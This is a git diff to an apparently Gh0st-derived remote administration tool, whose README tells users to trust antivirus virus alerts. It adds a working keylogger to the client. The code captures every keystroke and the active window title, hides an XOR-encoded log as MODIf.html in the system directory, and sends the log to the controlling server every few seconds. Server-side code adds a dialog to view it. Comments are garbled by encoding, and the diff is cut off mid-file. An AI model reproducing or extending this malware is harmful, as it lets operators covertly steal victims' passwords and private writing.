diff --git a/ReadMe.md b/ReadMe.md index 729a387..3fa8220 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -313,6 +313,11 @@ reorg: Move commands to common/commands.h 发布一个运行**非常稳定**的版本v1.0.6,该版本不支持在较老的Windows XP系统运行(注:VS2019及以后版本已不支持XP工具集,为此需要更早的VS)。 您可以从GitHub下载最新的Release,也可以clone该项目在相关目录找到。如果杀毒软件报告病毒,这是正常现象,请信任即可,或者您可以亲自编译。 +2025.02.01 + +参考[Gh0st](https://github.com/yuanyuanxiang/Gh0st/pull/2),增加键盘记录功能。实质上就是拷贝如下四个文件: + +*KeyboardManager.h、KeyboardManager.cpp、KeyBoardDlg.h、KeyBoardDlg.cpp* # 沟通反馈 diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index bb04143..ab6336a 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -169,6 +169,7 @@ + @@ -193,6 +194,7 @@ + diff --git a/client/Common.cpp b/client/Common.cpp index b13f237..e4c8ca3 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -10,6 +10,8 @@ #include "RegisterManager.h" #include "ServicesManager.h" #include "VideoManager.h" +#include "KeyboardManager.h" + #include "KernelManager.h" extern CONNECT_ADDRESS g_SETTINGS; @@ -112,3 +114,8 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam) { return LoopManager(lParam); } + +DWORD WINAPI LoopKeyboardManager(LPVOID lParam) +{ + return LoopManager(lParam); +} diff --git a/client/Common.h b/client/Common.h index 6afd4a9..e65a457 100644 --- a/client/Common.h +++ b/client/Common.h @@ -30,3 +30,4 @@ DWORD WINAPI LoopVideoManager(LPVOID lParam); DWORD WINAPI LoopAudioManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam); +DWORD WINAPI LoopKeyboardManager(LPVOID lParam); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 04dd735..65a6e43 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -117,6 +117,14 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch(szBuffer[0]) { + case COMMAND_KEYBOARD: //̼¼ + { + m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, + (LPTHREAD_START_ROUTINE)LoopKeyboardManager, + &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } + case COMMAND_TALK: { m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp new file mode 100644 index 0000000..74e8bb4 --- /dev/null +++ b/client/KeyboardManager.cpp @@ -0,0 +1,505 @@ +// KeyboardManager.cpp: implementation of the CKeyboardManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "KeyboardManager.h" +#include +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +#include +#include +#include +using namespace std; + +#define FILE_PATH "\\MODIf.html" +#define CAPTION_SIZE 1024 + +CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient) +{ + sendStartKeyBoard(); + WaitForDialogOpen(); + sendOfflineRecord(); + + GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile)); + lstrcat(m_strRecordFile, FILE_PATH); + + m_bIsWorking = true; + dKeyBoardSize = 0; + + m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)this, 0, NULL); + m_hSendThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendData,(LPVOID)this,0,NULL); +} + +CKeyboardManager1::~CKeyboardManager1() +{ + m_bIsWorking = false; + WaitForSingleObject(m_hWorkThread, INFINITE); + WaitForSingleObject(m_hSendThread, INFINITE); + CloseHandle(m_hWorkThread); + CloseHandle(m_hSendThread); +} + +void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize) +{ + if (lpBuffer[0] == COMMAND_NEXT) + NotifyDialogIsOpen(); + + if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) { + } + + if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) { + DeleteFile(m_strRecordFile); + HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + CloseHandle(hFile); + dKeyBoardSize = 0; + } +} + +int CKeyboardManager1::sendStartKeyBoard() +{ + BYTE bToken[2]; + bToken[0] = TOKEN_KEYBOARD_START; + bToken[1] = (BYTE)true; + + return Send((LPBYTE)&bToken[0], sizeof(bToken)); +} + + +int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize) +{ + int nRet = -1; + DWORD dwBytesLength = 1 + nSize; + LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength); + + lpBuffer[0] = TOKEN_KEYBOARD_DATA; + memcpy(lpBuffer + 1, lpData, nSize); + + nRet = Send((LPBYTE)lpBuffer, dwBytesLength); + LocalFree(lpBuffer); + + return nRet; +} + +int CKeyboardManager1::sendOfflineRecord(DWORD dwRead) +{ + int nRet = 0; + DWORD dwSize = 0; + DWORD dwBytesRead = 0; + HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile != INVALID_HANDLE_VALUE) { + dwSize = GetFileSize(hFile, NULL); + dKeyBoardSize = dwSize; + if (0 != dwRead) { + SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN); + dwSize -= dwRead; + } + + TCHAR *lpBuffer = new TCHAR[dwSize]; + ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL); + + // + for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++) + lpBuffer[i] ^= '`'; + + nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize); + delete[] lpBuffer; + } + CloseHandle(hFile); + return nRet; +} + + +string GetKey(int Key) // жϼ̰ʲô +{ + string KeyString = ""; + //жϷ + const int KeyPressMask=0x80000000; //볣 + int iShift=GetKeyState(0x10); //жShift״̬ + bool IS=(iShift & KeyPressMask)==KeyPressMask; //ʾShift + if(Key >=186 && Key <=222) { + switch(Key) { + case 186: + if(IS) + KeyString = ":"; + else + KeyString = ";"; + break; + case 187: + if(IS) + KeyString = "+"; + else + KeyString = "="; + break; + case 188: + if(IS) + KeyString = "<"; + else + KeyString = ","; + break; + case 189: + if(IS) + KeyString = "_"; + else + KeyString = "-"; + break; + case 190: + if(IS) + KeyString = ">"; + else + KeyString = "."; + break; + case 191: + if(IS) + KeyString = "?"; + else + KeyString = "/"; + break; + case 192: + if(IS) + KeyString = "~"; + else + KeyString = "`"; + break; + case 219: + if(IS) + KeyString = "{"; + else + KeyString = "["; + break; + case 220: + if(IS) + KeyString = "|"; + else + KeyString = "\\"; + break; + case 221: + if(IS) + KeyString = "}"; + else + KeyString = "]"; + break; + case 222: + if(IS) + KeyString = '"'; + else + KeyString = "'"; + break; + } + } + //жϼ̵ĵһ + if (Key == VK_ESCAPE) // ˳ + KeyString = "[Esc]"; + else if (Key == VK_F1) // F1F12 + KeyString = "[F1]"; + else if (Key == VK_F2) + KeyString = "[F2]"; + else if (Key == VK_F3) + KeyString = "[F3]"; + else if (Key == VK_F4) + KeyString = "[F4]"; + else if (Key == VK_F5) + KeyString = "[F5]"; + else if (Key == VK_F6) + KeyString = "[F6]"; + else if (Key == VK_F7) + KeyString = "[F7]"; + else if (Key == VK_F8) + KeyString = "[F8]"; + else if (Key == VK_F9) + KeyString = "[F9]"; + else if (Key == VK_F10) + KeyString = "[F10]"; + else if (Key == VK_F11) + KeyString = "[F11]"; + else if (Key == VK_F12) + KeyString = "[F12]"; + else if (Key == VK_SNAPSHOT) // ӡĻ + KeyString = "[PrScrn]"; + else if (Key == VK_SCROLL) // + KeyString = "[Scroll Lock]"; + else if (Key == VK_PAUSE) // ͣж + KeyString = "[Pause]"; + else if (Key == VK_CAPITAL) // д + KeyString = "[Caps Lock]"; + + //-------------------------------------// + //Ƽ + else if (Key == 8) //<- ظ + KeyString = "[Backspace]"; + else if (Key == VK_RETURN) // س + KeyString = "[Enter]\n"; + else if (Key == VK_SPACE) // ո + KeyString = " "; + //ϵ:̼¼ʱ򣬿Բ¼ShiftDzκַ + //ϵͱļϣʱַ + /* + else if (Key == VK_LSHIFT) // ϵ + KeyString = "[Shift]"; + else if (Key == VK_LSHIFT) // Ҳϵ + KeyString = "[SHIFT]"; + */ + /*ֻǶԼĸм¼:Բ¼ļ*/ + else if (Key == VK_TAB) // Ʊ + KeyString = "[Tab]"; + else if (Key == VK_LCONTROL) // Ƽ + KeyString = "[Ctrl]"; + else if (Key == VK_RCONTROL) // ҿƼ + KeyString = "[CTRL]"; + else if (Key == VK_LMENU) // 󻻵 + KeyString = "[Alt]"; + else if (Key == VK_LMENU) // һ + KeyString = "[ALT]"; + else if (Key == VK_LWIN) // WINDOWS + KeyString = "[Win]"; + else if (Key == VK_RWIN) // WINDOWS + KeyString = "[WIN]"; + else if (Key == VK_APPS) // Ҽ + KeyString = "Ҽ"; + else if (Key == VK_INSERT) // + KeyString = "[Insert]"; + else if (Key == VK_DELETE) // ɾ + KeyString = "[Delete]"; + else if (Key == VK_HOME) // ʼ + KeyString = "[Home]"; + else if (Key == VK_END) // + KeyString = "[End]"; + else if (Key == VK_PRIOR) // һҳ + KeyString = "[PgUp]"; + else if (Key == VK_NEXT) // һҳ + KeyString = "[PgDown]"; + // õļ:һû + else if (Key == VK_CANCEL) // Cancel + KeyString = "[Cancel]"; + else if (Key == VK_CLEAR) // Clear + KeyString = "[Clear]"; + else if (Key == VK_SELECT) //Select + KeyString = "[Select]"; + else if (Key == VK_PRINT) //Print + KeyString = "[Print]"; + else if (Key == VK_EXECUTE) //Execute + KeyString = "[Execute]"; + + //----------------------------------------// + else if (Key == VK_LEFT) //ϡ¡Ҽ + KeyString = "[]"; + else if (Key == VK_RIGHT) + KeyString = "[]"; + else if (Key == VK_UP) + KeyString = "[]"; + else if (Key == VK_DOWN) + KeyString = "[]"; + else if (Key == VK_NUMLOCK)//С + KeyString = "[NumLock]"; + else if (Key == VK_ADD) // ӡˡ + KeyString = "+"; + else if (Key == VK_SUBTRACT) + KeyString = "-"; + else if (Key == VK_MULTIPLY) + KeyString = "*"; + else if (Key == VK_DIVIDE) + KeyString = "/"; + else if (Key == 190 || Key == 110) // С . . + KeyString = "."; + //Сּ:0-9 + else if (Key == VK_NUMPAD0) + KeyString = "0"; + else if (Key == VK_NUMPAD1) + KeyString = "1"; + else if (Key == VK_NUMPAD2) + KeyString = "2"; + else if (Key == VK_NUMPAD3) + KeyString = "3"; + else if (Key == VK_NUMPAD4) + KeyString = "4"; + else if (Key == VK_NUMPAD5) + KeyString = "5"; + else if (Key == VK_NUMPAD6) + KeyString = "6"; + else if (Key == VK_NUMPAD7) + KeyString = "7"; + else if (Key == VK_NUMPAD8) + KeyString = "8"; + else if (Key == VK_NUMPAD9) + KeyString = "9"; + //-------------------------------------------// + + //-------------------------------------------// + //*ĸĴСдж*// + else if (Key >=97 && Key <= 122) { // ĸ:a-z + if (GetKeyState(VK_CAPITAL)) { // д + if(IS) //Shift:ΪСдĸ + KeyString = Key; + else // ֻдд:дĸ + KeyString = Key - 32; + } else { // дû + if(IS) // Shift: дĸ + KeyString = Key - 32; + else // ûаShift: Сдĸ + KeyString = Key; + } + } else if (Key >=48 && Key <= 57) { // :0-9Ϸķ + if(IS) { + switch(Key) { + case 48: //0 + KeyString = ")"; + break; + case 49://1 + KeyString = "!"; + break; + case 50://2 + KeyString = "@"; + break; + case 51://3 + KeyString = "#"; + break; + case 52://4 + KeyString = "$"; + break; + case 53://5 + KeyString = "%"; + break; + case 54://6 + KeyString = "^"; + break; + case 55://7 + KeyString = "&"; + break; + case 56://8 + KeyString = "*"; + break; + case 57://9 + KeyString = "("; + break; + } + } else + KeyString = Key; + } + if (Key != VK_LBUTTON || Key != VK_RBUTTON) { + if (Key >=65 && Key <=90) { //ASCII 65-90 ΪA-Z + if (GetKeyState(VK_CAPITAL)) { // д:A-Z + if(IS) // дҰϵ:ΪСдĸ + KeyString = Key + 32; + else //ֻдд:Ϊдĸ + KeyString = Key; + } else { // дû:a-z + if(IS) { + KeyString = Key; + } else { + Key = Key + 32; + KeyString = Key; + } + } + } + } + + return KeyString; +} + +void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer) +{ + HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, + NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + + DWORD dwBytesWrite = 0; + DWORD dwSize = GetFileSize(hFile, NULL); + if (dwSize < 1024 * 1024 * 50) + SetFilePointer(hFile, 0, 0, FILE_END); + + + // + int nLength = lstrlen(lpBuffer); + TCHAR* lpEncodeBuffer = new TCHAR[nLength]; + for (int i = 0; i < nLength; i++) + lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`'); + WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL); + CloseHandle(hFile); + + delete [] lpEncodeBuffer; + return; +} + +BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData) +{ + HWND hFocus = GetForegroundWindow(); + BOOL ReturnFlag = FALSE; + if (hFocus != PreviousFocus) { + if (lstrlen(WindowCaption) > 0) { + if (hasData) { + SYSTEMTIME s; + GetLocalTime(&s); + wsprintf(szText, _T("\r\n[:] %s\r\n[ʱ:]%d-%02d-%02d %02d:%02d:%02d\r\n"), + WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond); + } + memset(WindowCaption, 0, CAPTION_SIZE); + ReturnFlag=TRUE; + } + PreviousFocus = hFocus; + SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption); + } + return ReturnFlag; +} + +DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam) +{ + CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam; + + while(pThis->m_bIsWorking) { + DWORD dwSize =0; + HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (hFile != INVALID_HANDLE_VALUE) { + dwSize = GetFileSize(hFile, NULL); + } + CloseHandle(hFile); + + if (pThis->dKeyBoardSize != dwSize) { + pThis->sendOfflineRecord(pThis->dKeyBoardSize); + } + + Sleep(3000); + } + return 0; +} + +DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) +{ + CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam; + + TCHAR KeyBuffer[2048] = {}; + TCHAR szText[CAPTION_SIZE] = {}; + TCHAR WindowCaption[CAPTION_SIZE] = {}; + HWND PreviousFocus = NULL; + while(pThis->m_bIsWorking) { + Sleep(5); + int num = lstrlen(KeyBuffer); + if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) { + bool newWindowInput = strlen(szText); + if (newWindowInput){// µĴм + lstrcat(KeyBuffer, szText); + memset(szText, 0, sizeof(szText)); + } + if (lstrlen(KeyBuffer) > 0) { + if (!newWindowInput) + lstrcat(KeyBuffer, _T("\r\n")); + const int offset = sizeof(_T("\r\n[:]")) - 1; + memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer)); + memcpy(KeyBuffer, _T("\r\n[:]"), offset); + SaveToFile(pThis->m_strRecordFile, KeyBuffer); + memset(KeyBuffer,0,sizeof(KeyBuffer)); + } + } + for(int i = 8; i <= 255; i++) { + if((GetAsyncKeyState(i)&1) == 1) { + string TempString = GetKey (i); + lstrcat(KeyBuffer,TempString.c_str()); + } + } + } + return 0; +} diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h new file mode 100644 index 0000000..72696cc --- /dev/null +++ b/client/KeyboardManager.h @@ -0,0 +1,35 @@ +// KeyboardManager.h: interface for the CKeyboardManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_) +#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "..\Manager.h" + +class CKeyboardManager1 : public CManager +{ +public: + CKeyboardManager1(CClientSocket *pClient, int n=0); + virtual ~CKeyboardManager1(); + virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize); + static DWORD WINAPI KeyLogger(LPVOID lparam); + static DWORD WINAPI SendData(LPVOID lparam); + + HANDLE m_hWorkThread,m_hSendThread; + DWORD dKeyBoardSize; + TCHAR m_strRecordFile[MAX_PATH]; +private: + BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData); + int sendStartKeyBoard(); + int sendOfflineRecord(DWORD dwRead = 0); + int sendKeyBoardData(LPBYTE lpData, UINT nSize); + + bool m_bIsWorking; +}; + +#endif // !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_) diff --git a/client/Manager.cpp b/client/Manager.cpp index 42d1ebd..4857471 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -5,6 +5,117 @@ #include "stdafx.h" #include "Manager.h" #include "IOCPClient.h" +#include + +typedef struct { + unsigned(__stdcall* start_address)(void*); + void* arglist; + bool bInteractive; // Ƿֽ֧ + HANDLE hEventTransferArg; +} THREAD_ARGLIST, * LPTHREAD_ARGLIST; + +BOOL SelectDesktop(TCHAR* name); + +unsigned int __stdcall ThreadLoader(LPVOID param) +{ + unsigned int nRet = 0; + try { + THREAD_ARGLIST arg; + memcpy(&arg, param, sizeof(arg)); + SetEvent(arg.hEventTransferArg); + // ׿潻 + if (arg.bInteractive) + SelectDesktop(NULL); + + nRet = arg.start_address(arg.arglist); + } + catch (...) { + }; + return nRet; +} + +HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive) +{ + HANDLE hThread = INVALID_HANDLE_VALUE; + THREAD_ARGLIST arg; + arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress; + arg.arglist = (void*)lpParameter; + arg.bInteractive = bInteractive; + arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL); + hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId); + WaitForSingleObject(arg.hEventTransferArg, INFINITE); + CloseHandle(arg.hEventTransferArg); + + return hThread; +} + +BOOL SelectHDESK(HDESK new_desktop) +{ + HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); + + DWORD dummy; + char new_name[256]; + + if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { + return FALSE; + } + + // Switch the desktop + if (!SetThreadDesktop(new_desktop)) { + return FALSE; + } + + // Switched successfully - destroy the old desktop + CloseDesktop(old_desktop); + + return TRUE; +} + +// - SelectDesktop(char *) +// Switches the current thread into a different desktop, by name +// Calling with a valid desktop name will place the thread in that desktop. +// Calling with a NULL name will place the thread in the current input desktop. +BOOL SelectDesktop(TCHAR* name) +{ + HDESK desktop; + + if (name != NULL) { + // Attempt to open the named desktop + desktop = OpenDesktop(name, 0, FALSE, + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } + else { + // No, so open the input desktop + desktop = OpenInputDesktop(0, FALSE, + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } + + // Did we succeed? + if (desktop == NULL) { + return FALSE; + } + + // Switch to the new desktop + if (!SelectHDESK(desktop)) { + // Failed to enter the new desktop, so free it! + CloseDesktop(desktop); + return FALSE; + } + + // We successfully switched desktops! + return TRUE; +} ////////////////////////////////////////////////////////////////////// // Construction/Destruction diff --git a/client/Manager.h b/client/Manager.h index b535680..8a2a40e 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -9,8 +9,20 @@ #pragma once #endif // _MSC_VER > 1000 +#include +#include "..\common\commands.h" + class IOCPClient; +typedef IOCPClient CClientSocket; + +HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive = false); + class CManager { public: diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 2511f68..888746d 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -179,6 +179,7 @@ + @@ -203,6 +204,7 @@ + diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index a11f872..cd49add 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index c03c80e..15825a7 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -19,6 +19,7 @@ #include "ServicesDlg.h" #include "VideoDlg.h" #include +#include "KeyBoardDlg.h" #ifdef _DEBUG #define new DEBUG_NEW @@ -165,6 +166,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager) ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager) ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager) + ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager) ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //Client ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify) ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow) @@ -183,6 +185,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog) ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage) + ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog) ON_WM_HELPINFO() END_MESSAGE_MAP() @@ -286,9 +289,10 @@ VOID CMy2015RemoteDlg::CreateToolBar() m_ToolBar.SetButtonText(6,"Ƶ"); m_ToolBar.SetButtonText(7,""); m_ToolBar.SetButtonText(8,"ע"); - m_ToolBar.SetButtonText(9,""); - m_ToolBar.SetButtonText(10,"ɷ"); - m_ToolBar.SetButtonText(11,""); + m_ToolBar.SetButtonText(9, "̼¼"); + m_ToolBar.SetButtonText(10,""); + m_ToolBar.SetButtonText(11,"ɷ"); + m_ToolBar.SetButtonText(12,""); RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //ʾ } @@ -806,6 +810,12 @@ VOID CMy2015RemoteDlg::OnOnlineRegisterManager() SendSelectedCommand(&bToken, sizeof(BYTE)); } +VOID CMy2015RemoteDlg::OnOnlineKeyboardManager() +{ + BYTE bToken = COMMAND_KEYBOARD; + SendSelectedCommand(&bToken, sizeof(BYTE)); +} + void CMy2015RemoteDlg::OnOnlineBuildClient() { // TODO: ڴ @@ -967,6 +977,12 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) Dlg->OnReceiveComplete(); break; } + case KEYBOARD_DLG: + { + CKeyBoardDlg* Dlg = (CKeyBoardDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } default: g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject); } @@ -1010,6 +1026,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) Sleep(10); break; } + case TOKEN_KEYBOARD_START: {// ̼¼ + g_2015RemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject); + break; + } case TOKEN_LOGIN: // ߰ shine { g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); @@ -1202,6 +1222,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) delete Dlg; //⴦ break; } + case KEYBOARD_DLG: + { + CKeyBoardDlg* Dlg = (CKeyBoardDlg*)p->hDlg; + delete Dlg; + break; + } default:break; } delete p; @@ -1372,6 +1398,20 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam) return 0; } +LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam) +{ + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + + CKeyBoardDlg* Dlg = new CKeyBoardDlg(this, m_iocpServer, ContextObject); + // øΪ׿ + Dlg->Create(IDD_DLG_KEYBOARD, GetDesktopWindow()); //Dlg + Dlg->ShowWindow(SW_SHOW); + + ContextObject->v1 = KEYBOARD_DLG; + ContextObject->hDlg = Dlg; + + return 0; +} BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo) { diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 7bae501..00c3b30 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -91,6 +91,7 @@ public: afx_msg void OnOnlineFileManager(); afx_msg void OnOnlineServerManager(); afx_msg void OnOnlineRegisterManager(); + afx_msg VOID OnOnlineKeyboardManager(); afx_msg void OnOnlineBuildClient(); afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam); @@ -104,6 +105,7 @@ public: afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 57ff15e..c3923f5 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -245,6 +245,7 @@ + @@ -274,6 +275,7 @@ + diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h index b77017e..8cfed19 100644 --- a/server/2015Remote/Buffer.h +++ b/server/2015Remote/Buffer.h @@ -68,6 +68,7 @@ public: ULONG GetBufferLength(); // Чݳ VOID ClearBuffer(); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); + BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); } LPBYTE GetBuffer(ULONG ulPos); Buffer GetMyBuffer(ULONG ulPos); BYTE GetBYTE(ULONG ulPos); diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 8d84d09..a454209 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -3,6 +3,7 @@ #include "2015Remote.h" #include +#include #if USING_ZLIB #include "zlib.h" @@ -43,6 +44,23 @@ CRITICAL_SECTION IOCPServer::m_cs = {0}; #define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; } +// socket ȡͻIPַ. +std::string GetRemoteIP(SOCKET sock) { + sockaddr_in addr; + int addrLen = sizeof(addr); + + if (getpeername(sock, (sockaddr*)&addr, &addrLen) == 0) { + char ipStr[INET_ADDRSTRLEN]; + inet_ntop(AF_INET, &addr.sin_addr, ipStr, sizeof(ipStr)); + TRACE(">>> Զ IP ַ: %s\n", ipStr); + return ipStr; + } + TRACE(">>> ȡԶ IP ʧ, : %d\n", WSAGetLastError()); + char buf[10]; + sprintf_s(buf, "%d", sock); + return buf; +} + IOCPServer::IOCPServer(void) { WSADATA wsaData; diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 35f0df5..ea3c091 100644 --- a/server/2015Remote/IOCPServer.h +++ 